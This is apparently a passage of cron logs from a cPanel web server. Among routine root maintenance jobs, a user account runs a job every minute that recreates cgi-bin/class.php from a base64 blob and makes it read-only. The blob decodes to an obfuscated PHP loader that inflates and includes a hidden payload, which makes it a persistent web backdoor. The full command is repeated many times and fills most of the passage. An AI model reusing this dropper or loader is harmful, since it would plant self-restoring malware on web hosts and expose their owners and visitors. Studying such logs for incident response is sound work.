&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:25:01 server CROND[19565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:26:01 server CROND[20439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:27:01 server CROND[21355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 23:27:01 server CROND[21356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:28:01 server CROND[22182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:29:01 server CROND[22993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:30:01 server CROND[23743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:30:01 server CROND[23742]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:30:01 server CROND[23746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 23:30:01 server CROND[23745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:31:01 server CROND[24630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:32:01 server CROND[25438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:33:01 server CROND[26357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:34:01 server CROND[27178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:35:01 server CROND[28057]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 23:35:01 server CROND[28058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:35:01 server CROND[28061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:35:01 server CROND[28062]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 23:35:01 server CROND[28064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:36:01 server CROND[28557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:37:01 server CROND[29195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
